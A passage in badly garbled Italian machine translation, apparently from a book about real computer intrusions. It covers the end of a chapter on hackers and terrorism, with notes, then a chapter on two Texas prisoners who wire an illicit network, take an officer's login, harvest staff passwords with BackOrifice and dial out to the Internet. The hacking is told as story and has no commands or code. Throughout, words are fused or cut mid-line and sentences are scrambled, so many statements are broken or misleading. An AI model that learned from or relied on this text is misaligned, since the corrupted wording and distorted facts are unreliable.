ciente per iLA Timessito Web per proteggere i suoi articoli di notiziéa sarebbe
si conta su password statiche che proteggonoiteautpecifiche di progettazione per una nuova
jetliner commerciale?
T
HE
B
OTTOM
L
INE
Le storie in questo libro, cosi come sulla stangirapstrano la insecu-
rezza dei sistemi informatici di questa nazioné gudnto siamo vulnerabili a un
attacco. Sembra che alcuni sistemi sono veramenite.s
In questa epoca di terrorismo, abbiamo chiaramastegno di fare un lavoro migliore di
ricucire i buchi. Episodi come quello raccontato spllevano un problema
dobbiamo affrontare: quanto facilmente il talenfa eonoscenza della nostra unwit-



adolescenti Ting possono essere girati contro dilinmettere in pericolo la nostra societa. Credo
che i ragazzi delle scuole dovrebbero essere iasieigorincipi di etica informatici avvio

ing quando vengono introdotti informatica nelladeLelementare.

Recentemente ho partecipato a una presentazioead®d Abagnale, il pro-

tagonista nel film campione d'incagspva a prendermiFrank aveva con-

canalizzata un sondaggio di studenti delle scugbeori in tutto il paese per il

uso etico dei computer. Ogni studente é stato whasslui o lei con-

considerate che un comportamento accettabile pecare la password di un compagno.
Sorprendentemente, il 48 per cento degli studatdrvistati ha pensato che era proprio bene.
Con atteggiamenti come questo, non e difficile maperché le persone diventano

coinvolti in questo tipo di attivita.
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Se qualcuno ha un suggerimento di come rendeoyagi hacker meno suscep-
Tible di essere reclutati dai nostri nemici, steané nazionali, vorrei che
0 si sarebbe parlare e fare le sue idee conosciute.
N
OTES
1. "fare terroristi Troll la Rete?" Di Niall McKayVired.com, 14 novembre 1998.
2. McKay articolo, op. cit.
3. McKay articolo, op. cit.
4. Dal satp.org sito Web, Sud Asia Intelligence iRev
5. "Gli Stati Uniti e il Global coalizione contrbterrorismo, Settembre-Dicembre 2001
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I'amministrazione Clinton, nessuno
delle persone elencate sarebbero lavorando alla Blasca piu. Ma un paio di curiosita sono
disponibili
grado. Monty Haymes ha fatto la registrazione vid&turistopher Adams € il nome di un reporter
con la
Financial Times, un giornale britannico; per quaattbiamo potuto appurare, non c'era Casa Bianca
dipendente con questo nome. Debra Reid e un fdtogea I'Associated Press. Nessuno di nome
Connie Colabatistto sembra essere lavorato alla B&sica; una donna con quel nome e
(O era) sposato con Gene Colabatistto, che fugeete di soluzioni al com- Space Imaging
azienda, ma non vi é alcun collegamento evidetdeoadi essere parte del team della Casa Bianca.
8. http://www.attrition.org/mirror/attrition/1999801 0/www.whitehouse.gov/mirror.html.
9. Anche qui, la verifica e difficile da trovareutfavia, il testo citato puo essere visionato a
http://lwww.attrition.org/mirror/attrition/1999/0562mmic.snu.ac.kr/.
10. "hacker potrebbe inibire il militare; Sisten@rgpromesso in Secret Exercise, "di Bill
Gertz,Washington Times16 aprile 1998.
11." guerre del futuro ... oggi ", di Tom Reg&Hhristian Science Monitor24 Giugno 1999.
Capitolo 2 quando i terroristi venire chiamata
47

Pagina 69



Pagina 70
49
Capitolo 3
Il Texas Prison Hack
Non credo che ci sia una cosa che si puo dire eagazzo per farli
cambiare, non per avere un valore in sé, si saaeprendere
la strada breve.
- William
T
wo giovani detenuti, ogni volta facendo estesogpeicidio, si incontrano
in un giorno ardente nel cortile di cemento di pnigione del Texas e display
coprono condividono un fascino con i computer. [Basouadra
e diventare hacker segrete proprio sotto il nafle deardie attenti.
Tutto cio che e in passato. In questi giorni, \&ith Butler entra nella sua auto a
05:30 tutte le mattine nei giorni feriali e comiadi pendolarismo per lavorare attraverso
intasato traffico Houston. Egli stesso un uomo mtttunato, anche a suo awviso
essere vivo. Ha una ragazza fissa; guida una nracahiova fammante. E, ha
aggiunge: "Mi e stato recentemente premiato con.000 dollari rilancio. Non male. "
Come William, il suo amico Danny & anche costaeltarvita e tenendo premuto
un lavoro stabile fare il lavoro del computer. M&ssuno dei due potra mai dimenticare il lungo,
lenti anni pagano un prezzo duro per le loro aziStrianamente, il tempo
carcere li possieda le conoscenze che stanno@gada tale buon uso
di un "mondo libero".
Interno: Discovering Computers
La prigione € uno shock per il nuovo arrivato. Deteche arrivano sono spesso oggetto di
dumping
insieme fino alla indisciplinato e violento puo essrisolto - un colta grave
lenge a coloro che cercano di vivere secondo lelee@ircondato da persone che
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potrebbe esplodere da un sfida immaginato, anohg devono appendere
duro e stare in piedi da soli. William ha ideatsub insieme di regole:
lo fondamentalmente vissuta come si doveva viveg®ho solo 510 "e
Probabilmente ero 255. Ma non era solo di esseande, € un
mentalita che non ero una persona debole ed ersumesdi essere
sfruttato. Mi portavo cosi. All'interno, se qualeun
percepisce ogni debolezza, poi approfittafioenon
bugia, non ho chiacchierare di affari altrui, e nohiedetemi
per la mia attivita, perché ti dico di ottenere f ed.
Danny e io sia fatto il tempo sulle unita difficNioi sapete di cosa sto
dicendo - unita di gladiatori, dove si doveva cotid@ tutto il tempoCosi
non abbiamo dato un cazzo di guardie 0 nessun@eiono combattere a
la goccia di un cappello o di fare quello che davawo fare.
Danny stava gia scontando una condanna a 20 ass@t'Unita di Wynne, un
carcere di Huntsville, in Texas, quando Williamrévato. Il suo lavoro iniziale carcere
non aveva nulla a che fare con i computer.
In primo luogo mi ha mandato ad una unita in cunszia stai facendo il lavoro sul campo
nelle fattorie. Andate zappare su e giu righe. Blolrero usare
macchine per questo, ma non lo fanno - € una fahpainizione cosi
si sente meglio su qualsiasi lavoro vi danno seguit
Quando Danny e stato trasferito all'unita Wynna,grato di essere



assegnato lavoro d'ufficio presso I'Ufficio TragpdiHo iniziato a lavorare su

una macchina da scrivere Olivetti con un monitana coppia di dischi. Correva

DOS e aveva un po 'di memoria. Ho sbagliato in ggn@ando di imparare a

usarla "(Per me, che suono le campane familidpritno computer che io abbia mai usato
era una telescrivente Olivetti con un modem a Hifilacustica-accoppiatore.)

Ha trovato un vecchio libro di computer in giro, manuale di istruzioni per

il programma di database dBase Il presto. "Hotcagpme mettere i rapporti

il dBase, mentre tutti gli altri erano ancora sengo la loro. "Ha trasformato il

ufficio ordini di acquisto per dBase e anche awiat programma per monitorare la

le spedizioni del carcere di prodotti agricoli disleaprigioni in tutto lo stato.

Alla fine ha fatto Danny stato trustee, che hagdortin lavoro assegnazione

ment coinvolgendo un piu alto livello di fiducialecio che e indicato come un "cancello
passare, "che gli permette di lavorare al di fdetiperimetro protetto del carcere.

Fu inviato a un posto di lavoro in ufficio spediz@in una roulotte fuori dal recinto,
preparazione ordini di spedizione per i camionaisegna che trasportano il cibo

beni. Ma cid che veramente importava era che glidia "il mio primo accesso reale

ai computer. "
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Dopo un po ', & stato dato una piccola stanzaaitdit e messo a capo
di hardware - assemblaggio macchine nuove e fisgagke rotte. Qui
era un'occasione d'oro: imparare a costruire i coenge correggerli
da esperienza pratica. Alcune delle persone colacarava avrebbe
portare libri di informatica per lui, che ha accate la sua curva di apprendimento.
Essere responsabile di hardware gli ha dato acee’ssw scaffale pieno di com-
parti informatici con niente inventariati. "Prest@sciuti abbastanza abile
al montaggio macchine o I'aggiunta di componehgefsonale penitenziario non ha nemmeno
ispezionare i sistemi per determinare come li awewdigurato, cosi lui
potrebbe facilmente creare macchine con attrezatom autorizzate.
Le prigioni federali sono Different
Questo tipo di disprezzo incurante di cio che ugipniero € fino a € improbabile in un
prigione federale. L'US Bureau of Prisons ha s@ns#mte elevato livello di para-
noia sull'argomento. Durante il mio tempo dentmakuto un "NO COMPUTER"
assegnazione, che significa che era consideratauraccia per la sicurezza per me
avere alcun accesso a un computer. O anche l'acaesstelefono cellulare, se e per questo: A
procuratore ha detto una volta un magistrato féeetze se ero libero di usare un telefono cellulare
durante la detenzione, sarei stato in grado dniige in esso e inviare istruzioni
a un missile intercontinentale Air Force. Assunaa, il giudice non ha avuto
motivo per non crederci. Mi e stato tenuto in isodato per otto mesi.
Nel sistema federale in quel momento, i detenutossiati autorizzati del computer
accesso solo sotto una rigida serie di linee giNggsun detenuto potrebbe usare qualsiasi
computer che é stato collegato a un modem, o abaawna scheda di rete o
altro dispositivo di comunicazione. Operativameardemputer critici e stema
sistemi che contengono informazioni sensibili sstadi chiaramente indicati "Staff Usa
Solo "quindi sarebbe immediatamente evidente s#etenuto stava usando una com-
computer che ha messo a rischio la sicurezza. Cmpardware era strettamente controllato
dalla tecnologia personale esperto per impedise Ihon autorizzato.
William Ottiene le chiavi del castello
Quando William e stato trasferito dalla prigioneiegja all'unita Wynne in



Huntsville, ha atterrato un lavoro invidiabile inana. "Ho avuto le chiavi

il castello perché ho potuto scambiare cibo pee aibse. "

La cucina aveva un computer, un antico 286 macatonaun raffreddamento
ventilatore sul fronte, ma ancora abbastanza bpentui fare buoni progressi con
sviluppare le sue competenze informatiche. Eraad@di mettere un po 'di cucina
record, report e moduli d'ordine di acquisto dehpater, che ha salvato

ore di aggiunta di colonne di numeri e digitandgairtoffie.

Dopo William scopri che c'era un altro detenuto lcheondiviso la sua

interesse per i computer, Danny era in grado dliaraye la qualita della
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configurazione del computer nel commissariato. €omponenti dallo scaffale
nel trailer Agricoltura e poi reclutato 'aiutoalcuni amici con
incarichi di manutenzione, che potrebbe andaraialsipsi parte del carcere.
Essi non hanno risposto a nessuno. Cosi di nasgastodi computer in
la cucina per noi - semplicemente metterli in urreléo e rotolare giu.
Poi una notte di Natale, una guardia camminava'gnita con un
scatola che fondamentalmente aveva ricambio pent@no computer in esso, e un mozzo
e altre cose.
Come ha fatto a convincere una guardia di romperedole in modo cosi evidente? "Ho appena
fatto
quello che chiamano 'lavorato mio gelatina' swdi Ho appena parlato con lui e
lo amicizia. "I genitori di William avevano acquast i prodotti informatici a
la sua richiesta, e la guardia convenuto di poitar@ico di articoli come se
erano regali di Natale.
Per fornire uno spazio di lavoro per la sua inazatine di computer in espansione, William
stanziato un piccolo ripostiglio attaccato al cosgario. La stanza
era ventilata ma era sicuro che non sarebbe stgpoablema, e
Non ero: "Ho scambiato cibo per ottenere un condaiore d'aria, abbiamo bussato un buco nel
parete e mettere il condizionatore in modo abbipotato respirare e potrebbe
lavorare in tutta comodita ", ha spiegato.
"Abbiamo costruito tre PC la dietro. Abbiamo présecchi 286 casi e mettere
Schede Pentium in loro. | dischi rigidi non si adiebbe, quindi abbiamo dovuto usare
rotoli di carta igienica per i titolari del discmyido ", che, mentre un soluzione innovativa
zione, deve essere stato divertente da guardare.
Perché tre computer? Danny scenderebbe a volhe avevano
hanno ciascuno un computer per l'utilizzo. E uaderomo piu tardi ha iniziato "una legge
ufficio "- detenuti carica per la ricerca i lorooptemi legali online
elaborare documenti di ricorso archiviazione e lsimi
Nel frattempo, le abilita di William nell'uso di womputer per organizzare il com-
scartoffie di missary attiro lI'attenzione del capii responsabile della
servizio di ristorazione. Ha dato un incarico Véith aggiunto: Quando non & impegnato con
doveri regolari, era di lavorare sulla creazionéldidel computer per il CAP-
rapporti di Tain per il guardiano.
Per svolgere queste ulteriori responsabilita, AMlie stato permesso di
lavorare nell'ufficio del capitano, un compito d®lger un prigioniero. Ma dopo un
tempo William comincio a irritarsi: Quei computezlddommissario erano di
ora caricato con file musicali, giochi e video. Nélicio del capitano, ha
avevano nessuno di questi diversivi piacevoliulbib vecchio innovazione americana piu



una buona dose di coraggio coraggiosa suggeritoado per risolvere il problema.
Ho scambiato il cibo dalla cucina per ottenerealo di rete da tenzione

Nance. Abbiamo avuto I'ordine di manutenzione addeti una bobina di 1.000 metri
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Cat 5 [Ethernet] cavo. Avevamo le guardie aprongeguimenti tubi
e corse il cavo. Ho detto loro che stavo facendawvibro per il
Capitano e avevano aperto la porta.
In breve tempo, aveva cablato una connessionerigtheollegando
I tre computer che ora aveva nel commissario, coomputer
nell'ufficio del capitano. Quando il capitano noera, William aveva |l
piacere di giocare i suoi giochi per computer, Hando la sua musica, e
guardando i suoi video.
Ma lui stava correndo un grosso rischio. E sepiteao € tornato impres- sionate
pectedly e lo scoperto con la riproduzione di masiain gioco sulla
schermo, oppure un film girlie? Significherebbeiaddla posizione privilegiata
zione in cucina, i dazi comodi nell'ufficio del d@mo, e I'accesso
alla configurazione del computer che aveva cogidasamente assemblato.
Nel frattempo, Danny aveva i suoi problemi. Staxatando in
Agricoltura Ufficio circondato da computer, con gedelefoniche
ovunque connessione al mondo esterno. Era comarahibo con il suo
naso premuto per la finestra del negozio di carleneetenza soldi in suo
tasca. Tutte queste tentazioni cosi vicine e romodo di goderne.
Un giorno un ufficiale ha rivelato in minuscoloigfd di Danny. "[Egli] ha portato la sua
macchina perché non poteva ottenere la connesaibrternet. o non
sanno come modem funzionava, non c'era nessurgngusei un punto qualsiasi
cosa. Ma sono stato in grado di aiutarlo a conéigar "Nel processo di ottenere il
machine online, l'ufficiale, su richiesta, ha da&uo nome utente e Danny
parola d'accesso; probabilmente non vedeva alabigma a fare questo, sapendo
che i detenuti non sono stati autorizzati a utdizzqualsiasi computer con accesso on-line.
Danny ha realizzato quello che la guardia era twajgnso o troppo tecnicamente analfabeta
di capire: aveva dato Danny un e-ticket a Inter8eggretamente
esecuzione di una linea telefonica dietro un rackmadi nella sua area di lavoro,
Danny agganciato fino al modem interno nel suo agerpCon la
login e password dell'ufficiale che aveva impamatoemoria, era d'oro: Egli
aveva accesso a Internet.
Online in sicurezza
Per Danny, il raggiungimento di una connessionerfrgt ha aperto un intero nuovo
mondo sul suo monitor. Ma proprio come per Willidra,corso un rischio enorme ogni
volta che e andato online.
Sono stato in grado di effettuare chiamate in @sciccogliere informazioni sui computer e
tutto, e fare domande. Stavo firmando on per tidfe, ma il
tutto il tempo ho avuto paura che potrebbe venil@ lace. Ho cercato di essere cura-
ful di non rimanere cosi a lungo che ho legatdrieé.
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Una soluzione intelligente stesso suggerito. Danstallata una "splitter" su



la linea telefonica di andare al fax. Ma non passito tempo prima che il

Unita Ag ha cominciato a sentire lamentele da atrgioni vogliono sapere

perché la loro linea fax era affollata, quindi laggior parte del tempo. Danny si rese conto che
aveva

avere per ottenere una linea dedicata se volewgecaonetto al tempo libero e

in sicurezza. Un po 'di scouting ha fornito la asfa: Ha scoperto due tele-

jack phone che erano vivi, ma non in uso. A quai@ nessuno del personale

ricordato anche loro esistevano. Egli ricollegatavo dal suo

modem, collegarlo a una delle prese. Ora aveuwmiksterno

linea. Un altro problema risolto.

In un angolo della sua stanzetta, sotto una pitzaliole, ha istituito un com-

computer come server - in effetti, un dispositivongmorizzazione elettronica per tutto il grande
roba ha progettato per scaricare, in modo che nfilisicali e pirateria informatica
istruzioni e tutto il resto non sarebbe sul progomputer, nel caso

gualcuno sembrava.

Le cose stavano prendendo forma, ma Danny e dthtim ala un altro colta

colta, uno molto piu grande. Non aveva modo di sapke cosa sarebbe

succederebbe se lui e l'ufficiale ha cercato dizatire account Internet dell'ufficiale a
contemporaneamente. Se Danny era gia collegaghtsat'ufficiale ottenere una
messaggio di errore dicendo che non poteva anadiree@erché il suo conto era

gia in uso? L'uomo potrebbe essere stato un Btloeck, ma sicuramente a

quel punto si sarebbe ricordato dando Danny swenr#zioni sign-on e

cominciare a chiedersi. Al momento, Danny non paf@ensare a una soluzione; il
problema lo tormentava.

Eppure, era orgoglioso di quello che aveva compute le circostanze.

Aveva preso una quantita enorme di lavoro. "Avesstrito una buona fon-

dazione - la gestione di server, scaricare nullpdtato scendere

web, in esecuzione [software] 'GetRight' che aveailantenuto un download in corso

24 ore. Giochi, video, hacking informazioni, impara

le reti sono istituiti, le vulnerabilita, come geovare le porte aperte. "

William ha capito come l'installazione di Danny Departimento Agricoltura

era stato possibile. "Era praticamente I'ammirtisteadi rete perché

il ragazzo privo di mondo [l'impiegato civile] avavw lavorato c'era un

lavori buffone. "I detenuti venivano assegnati tligpendente era

dovrebbe fare, ma non so come, cose come "il C ++ e

Di programmazione Visual Basic, "né hanno hanmteliigenza necessaria per

gestire correttamente la rete.

Un‘altra sfida anche turbato Danny: Il suo comphbgeaffrontato un corridoio,

cosi chiungue poteva vedere quello che stava fac&a momento che I'Ufficio Agricoltura
e stato rinchiuso dopo l'orario di lavoro, potemdare solo on-line durante il

giorno, guardando per momenti in cui tutti gli ialtr ufficio sembrava

essere troppo occupato con il proprio lavoro dndegze qualsiasi interesse in quello che era su
a. Raccogliendo un trucco intelligente che gli taepermesso di prendere il controllo di
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un altro computer, ha collegato sua macchina dauélizzato da un civile
dipendente che ha lavorato di fronte a lui. Qudhaono non c'era e che
sembrava forse nessuno sarebbe alla deriva natlasssul retro per un po ',
Danny avrebbe requisire l'altro computer, mettariete, e impostarlo su



scaricare qualche gioco o la musica che voleveryes in un angolo.

Un giorno, quando era nel bel mezzo di ottenerranper un download,

qualcuno si presento inaspettatamente in areaalidali Danny: una femmina

guard - sempre piu a muso duro e-le-regole cheaogiini,

Danny e William d'accordo. Prima che potesse lilgeitasuo controllo degli altri

la macchina, gli occhi della guardia si spalancaréweva notato il cursore in movimento!
Danny é riuscito a lasciare il suo funzionamentguardia sbatté le palpebre, probabilmente gura
urante deve aver immaginato, e usci.

Soluzione

William ricorda ancora vividamente il giorno in daisoluzione sia di loro

Problemi di accesso a Internet si sono verific@aany. L'equipaggio cucina é stato permesso
di prendere i pasti nella dell'ufficiale sala dagioufficiali avevano finito

e sgomberato. William avrebbe spesso nascosto Danmgngiare il "molto Bet

cibo ter "nella sala da pranzo con lui, e si pdiesnche parlare in privato

La. "Ricordo ancora il giorno ho preso Ii," Williacorrelato.

"Ha detto: 'So come possiamo farlo, B.' Questoadlgehe mi hanno chiamato - B,

0 Big B. E con esso mi ha spiegato quello che stavgonna do. "

Cosa Danny immaginato stava mettendo insieme dz@ gieun puzzle;

le linee telefoniche al mondo esterno, a sua dizjgo® in

Dipartimento di Agricoltura, e computer di Williaim cucina. Lui

proposto un modo che avrebbe lasciato i due didsemo computer e ottenere

su Internet ogni volta che volevano, in libertaceiezza.

Siamo sempre seduti nella parte posteriore deilgidcgioco Commissary sulla

computersk ho pensato, "Se potessimo sederci qui e giocare

giochi, e nessuno si preoccupa - le guardie n@resdiccupano finché

ottenere il nostro lavoro fatto - allora perché npassiamo accedere a Internet da

proprio qui? "

L'Ufficio Agricoltura aveva materiale informaticde era piu a monte

to-date, perché, come ha spiegato Danny, altréopiign tutto lo stato

"Razzed" al loro server. Il suo mandato "razzed'wer modo per dire che com-

puters le altre prigioni erano connette da diapapAgricoltura

Server di Office, che é stato configurato in modacdnsentire le connessioni dial-up, attraverso
RAS di Microsoft (Remote Access Services).

Un elemento make-or-break chiave affrontato i ragamodem. "Getting

possesso di modem é stato un grande affare ", ttm\W@éliam. "Continuavano a quelli abbastanza
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stretto. Ma siamo riusciti a mettere le mani sypaio. "Quando erano
pronto ad andare online dal commissario, "Quel®wabrremmo fare e dial up
sulle linee telefoniche interno-unitari e razz Dgartimento di Agricoltura. "
Traduzione: Dal commissario, i ragazzi sarebberiresan comando
istruire il modem del computer per comporre unamtata su un interno
linea telefonica. Quella chiamata sarebbe stagvuim da un modem in vendita aziendale, un
modem collegato al server di Danny. Tale server @ém rete locale
a tutti gli altri computer in ufficio, alcuni deuali avevano modem con-
collegato a linee telefoniche esterne. Con commessaAg Ufficio com-
reti informatiche parlano tra loro attraverso teeh telefonica interna, il
successivo comando sarebbe incaricare uno di qeeaputer Ag ufficio per comporre
out a Internet. Voila! Accesso immediato.



Beh, non proprio. | due hacker bisogno ancora diagount con un Internet

fornitore di servizi. Inizialmente, hanno usateim di login e le password di per-
sonale che ha lavorato nel reparto ", quando sap@eae erano andando

essere fuori della caccia citta o qualcosa delgehalice Danny. Questo zioni

zioni aveva spigolato installando il software atmputer

chiamato "BackOrifice", un popolare strumento dinibt@raggio remoto che li ha
controllo di un computer remoto come se fosseratséifronte ad esso.
Naturalmente, utilizzando le password di altre peesera rischioso - con tutti i tipi di
modi si potrebbe ottenere catturati. Fu William sfaerolta che & venuto con un
soluzione. "Ho avuto i miei genitori a pagare peirdi avere accesso a Internet con un
societa di servizi locale, "quindi & stato piu resagio utilizzare altre per-
Informazioni di PLE sign-on.

Alla fine hanno mantenuto la connessione a Interaatite Agricoltura

Ufficio andare 24/7. "Abbiamo avuto due server [EbRere laggiu a valle

film di carico e di musica e piu di hacking strurtientutti i tipi di cose del genere

che ", dice Danny. "Mi stavo giochi che non eranoaxa stati rilasciati.”

Quasi Preso

Nel loro quartier commissario, William collegatdisde audio e

altoparlanti esterni in modo da poter riprodurresioa o ascoltare la colonna sonora come
guardato un film scaricato. Se una guardia ha tthmssa stessero facendo,

William disse loro: "lo non chiedo il vostro busgs non chiedere la mia."

Ho detto [le guardie] tutto il tempo ci sono alcuoese nella vita che posso
promessaNumero uno, io hon avra una pistola e non vogliarape un punto qualsiasi
corpo qui. Numero due, non voglio fare la drogaleick la mia mente.

Numero tre, non ho intenzione di avere un protet®onon sto andando essere

un pappone. Numero quattro, io non pasticciare gonfficiale donna.

Non potevo promettere loro che non avrei combatfdan ho mai mentito ‘em.

E hanno rispettato la mia onesta e la mia francheezcosi
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che avrebbero fatto le cose per me. E possibiknete le guardie a fare favori per
conversazione.

Conversazione governa la nazione. Parli donne su lo

mutandine, vedere quello che sto dicendo, si pdelgli uomini a fare quello che

vogliono loro di fare per voi.

Ma non importa quanto intelligente un oratore utedeto puo essere, nessuna guardia sta
di consentire un libero sfogo detenuto con i corapatlinee telefoniche esterne. Cosi
come ha fatto questi due scappare con le loro stelgdi hacker in bella vista di

le guardie? William ha spiegato:

Siamo stati in grado di fare un sacco di cose dhi@amo fatto, perché si guardarono

noi come mezzo ingegno. Siamo nella sede di redimuk cosi i padroni

[Guardie] avevano idea di cosa stavamo facendo. plalevano nemmeno

capire cosa eravamo capaci.

Un altro motivo dovrebbe essere che questi duenditstavano facendo com-

informatici di lavoro altri erano stati pagati ggendersi cura di. "La maggior parte delle persone
che

aveva li che avrebbero dovuto essere a conoscenpaalcome puter

ERS ", dice William," solo che non erano in gradosi hanno dovuto detenuti a farlo. "
Questo libro € pieno di storie di caos e danni bapkio causare,



ma William e Danny non erano chini sul male penégsi si limitano a

volevano migliorare le loro crescenti competenZermatiche e tenersi

intrattenuto - che in loro situazione non e affalificile da sottostimare

stare in piedi. E 'importante per William che lageapprezza la distinzione.

Non abbiamo mai fatto abusarne o male a nessunp.dlbiamo mai fatto. Voglio dire da
il mio punto di vista, ho ritenuto necessario paparare quello che volevo

imparare cosi ho potuto andare dritto e avere sasoguna volta sono stato rilasciato.
Mentre i funzionari della prigione del Texas somoasti all'oscuro di cid che e stato

in corso, sono stati fortunati che William e Damwevano motivazioni benigni.
Immaginate cosa caos i due potrebbero aver causathbe stato il figlio di

giocare per questi ragazzi a sviluppare un sisigenattenere denaro o beni

da vittime ignare. Internet era diventato la lorversita e

parco giochi. Imparare a eseguire truffe contrpdiesone o rompere per

siti aziendali sarebbe stato un gioco da ragadotescenti e preadolescenti imparano questi
Metodi di tutti i giorni dai siti pirata e altrovsul Web. E

come prigionieri, Danny e William hanno avuto tutttempo del mondo.

Forse c'e una lezione: Due assassini condannathmaon ha fatto

significa che erano feccia, marcio fino al midolsano imbroglioni che hacked

la loro strada su Internet illegalmente, ma questosignificava che erano volonta-
ing vittimizzare aziende insicuri persone innocentigenuamente.
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Close Call
I due hacker neofiti non hanno lasciato la distragidi piacere
Intrattenimento Internet lento il loro apprendin@miero. "Sono stato in grado di ottenere
I libri che volevo dalla mia famiglia ", dice Widim, che si sentiva la sua
scappatelle erano una forma di formazione prassalatamente necessaria. "Volevo
comprensione dei complessi di una rete TCP / IBvAwisogno che
tipo di conoscenza per quando sono uscito. "
Era una formazione, ma é stato divertente, ance eosa sto
dicendo? E 'stato divertente, perché io sono umagwlita di tipo A - mi piace
vivere al limite. Ed é stato un modo per snobbbr®$tro naso "il
man. "Perché erano all'oscuro.
Oltre al lato serio e il lato divertente del loriimzo di Internet, Danny
e William anche avuto un paio di calci di sociadim. Hanno cominciato elettronica
amicizie con alcune signore, li riuniti a chat roem
la comunicazione via e-mail. Con pochi, hanno rogmiuto che erano in
carcere; con la maggior parte, hanno trascurateedizionare il fatto. Nessuna sorpresa.
Vivere ai margini puo essere stimolante, ma conapgempre un rischio terribile.
William e Danny non potrebbe mai smettere di guaadapra le loro spalle.
"Una volta ci siamo avvicinati a essere scopéewiiltiam ricordo. "One
degli ufficiali non ci e piaciuto perché era vemaranoico. Non ci & piaciuto
per essere in linea mentre stava lavorando. "
Questo particolare guardia chiamato il commissamnigiorno e ha trovato la linea
continuamente occupato. "Che cosa ha fatto lui flidesta era che uno degli altri
ragazzi che lavorano in cucina avevano iniziatonatezione con un infermiere in
clinica prigione ". La guardia sospettava cheigjppiniero, George, stava legando
la linea con una chiamata non autorizzato allefisiaazata infermiera. In realta, la
linea telefonica era legato perché William e stato di Internet. I



guardia corse al commissario. "Abbiamo potuto setdi chiave nella porta, cosi
sapevamo che qualcuno stava arrivando. Noi chiudliamto. "

Quando la guardia e arrivata, William stava entoaragppporti sul computer

come Danny innocentemente guardato. La guardihieato di sapere perché il
linea telefonica era stato occupato per tanto temfiliam era pronto per lui e
shocciold una storia circa la necessita di effetusna chiamata per ottenere informazioni per la
relazione a cui stava lavorando.

Non avremmo potuto ottenuto una linea esterna dhdto, e lui

lo sapeva, ma questo ragazzo era solo super-pacan&iensava che

in qualche modo avevamo aiutato George chiama defisianzata.
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Che ha creduto la storia di William o no, senzavpria guardia
non ha potuto far nulla. George sposo l'infermiguegnto William
sa, e ancora in carcere e ancora felicemente gposat
Crescendo
Come fa un giovane come William - un bambino daeasa stabile con car-
Ing, genitori di supporto - Terreno in prigione?iéd\rescita e stata eccellente,
uomo. Ero uno studente C, ma molto intelligentei §ii@cato a calcio e tutto il resto
roba, ma non ha mai avuto nei guai finché non somato al college. "
Essendo cresciuto battista del Sud non e statapanienza positiva per William.
Oggi, si sente che la religione tradizionale pudngggiare auto di un giovane
autostima. "Sai, I'insegnamento che sei inutileggdlgo." Lui
attributi sue scelte sbagliate in parte al fatte egli era diventato con-
convinto che non poteva avere successo. "Sai, Watd@vere il mio rispetto di sé
e autostima da qualche parte e ho guadagnato sargeche mi temono. "
Uno studente di filosofia, William capito cosa Fhieh Nietzsche
intende per "metamorfosi dello spirito™:
Non so se hai mai letto alcun Nietzsche, ma haapadella
cammello, il leone, e il bambino. Ed ero davveraccammello - I'ho fatto
quello che pensavo sarebbe rendere felici le persbmcquisire autostima da
la gente mi piaceva, e non mi piaceva me stessimasporto
io per conto mio merito.
Nonostante questo, William ha fatto attraversaédd con un immacolato
record. | suoi problemi sono iniziati dopo si iserin un junior college in
Zona di Houston, poi trasferita in una scuola imis@na per studiare aviazione.
L'istinto di piacere agli altri trasformato in ursbgno di rispetto.
Ho visto che potevo fare soldi vendendo ecstasp&. Persone
me temuto perche 'ero sempre armato e sarebbe seroprbattere,
e si sa, basta vivere la vita come un idiota. Empbdsono preso in
una situazione di un affare di droga andato male.
Lui e il suo cliente ha finito per rotolare in giia lotta per il controllo.
L'altro compagno del ragazzo si presento; era dag@ uno, e William
sapeva di dover fare qualcosa di disperato o cheameebbe mai a piedi
da li. Tiro fuori la pistola e sparo. E 'uomo enarto.
Come fa un ragazzo di una famiglia forte e stadflntare questa dura realta? Come
egli condivide la terribile notizia?
Una delle cose piu difficili della mia vita a fagea dire a mia madre che
L'ho fatto.Si, e stato molto difficile.
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William ha avuto un sacco di tempo per pensareefi@uahe lo ha atterrato in carcere. Lui
non incolpare nessuno, ma se stesso. "Sai, erdesstelte che
fatto perché la mia autostima e stato distruttnok c'era niente che
i miei genitori hanno fatto perché mi hanno porilitoodo in cui hanno pensato
dovrebbero. "
Per Danny, tutto € andato storto in una sola notte.
Ero solo un ragazzino stupido. La notte del miaatiesimo compleanno, si
mi ha dato una grande festa. Sulla strada di casepaio di ragazze
bisogno di usare il bagno, cosi ho tirato fuoriun ristorante.
Quando uscirono, avevano un paio di ragazzi segoiend
e molesto. Abbiamo accatastati fuori dalla macchengera un grande
combatto, e prima di tutto era finito, mi sono irtth&o su uno di essi.
E poi ho presa dal panico e abbiamo guidato fudn.lasciato la scena.
E 'stata la sindrome di Richard Nixon / Martha Stehval lavoro: non
essere disposti a farsi avanti e assumersi lamsgpdita per la sua azione. Se Dan
Non aveva spinto fuori, la carica sarebbe probadmii@ stato omicidio colposo.
Lasciando la scena aggravato l'errore, e una ¢hia stato rintracciato
giu e arrestato, era troppo tardi per chiunquesdere che potrebbe avere
stato accidentale.
Indietro nel Mondo Libero
William era un quarto del modo attraverso una candaa 30 anni, ma lui
non stava avendo alcun successo nelle sue visitealrinanzi alla commissione liberta vigilata.
Il suo talento per aver preso l'iniziativa di nu@/genuto alla ribalta. Ha iniziato scritta
ing lettere al bordo di parole, una lettera ogre dattimane, con copie
indirizzata individualmente a ciascuno dei tre merdbl consiglio. Le lettere
dettagliate come costruttivo si stava comportarduiali corsi stavo prendendo, il
gradi mi e stato sempre, i libri di informatica @dtavo leggendo, e cosi via, "
mostrando loro che "Non sono frivola e non sto caneo il mio tempo.”
Egli dice: "Uno dei membri ha detto mia madre,alvato piu la posta da
lui che i miei sei figli combinato "Ha funzionatd:a teneva per quasi un
anno e la sua prossima apparizione prima del ciimslig hanno firmato fuori.
Danny, su un periodo piu breve, é stato rilasaiatma lo stesso tempo.
Da quando ha lasciato carcere, sia William e Darwvigno ferocemente determinato
a stare lontano dai guai, lavorando i lavori infatiti con competenze acquisite
durante gli anni "dentro”. Mentre ogni presero ctgsnologia di livello universitario in
carcere, entrambi credono che la loro esperienzdgaan, pericolosa anche se era,
ha dato loro le competenze avanzate che ora dipenaler la loro vita.
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Danny ha guadagnato 64 ore di credito universitararcere, e anche se e caduto
a corto di guadagnare eventuali certificazioni @ssfonali, ora funziona con alta
alimentati, applicazioni critiche, tra cui AccesSA&P.
Prima di carcere, William ha completato il suo prianno al college ed e stato
un sophomore, con i suoi genitori che lo sostenewa. volta uscito, e stato
in grado di continuare la sua educazione. "Ho fattmanda per aiuti finanziari e preso e



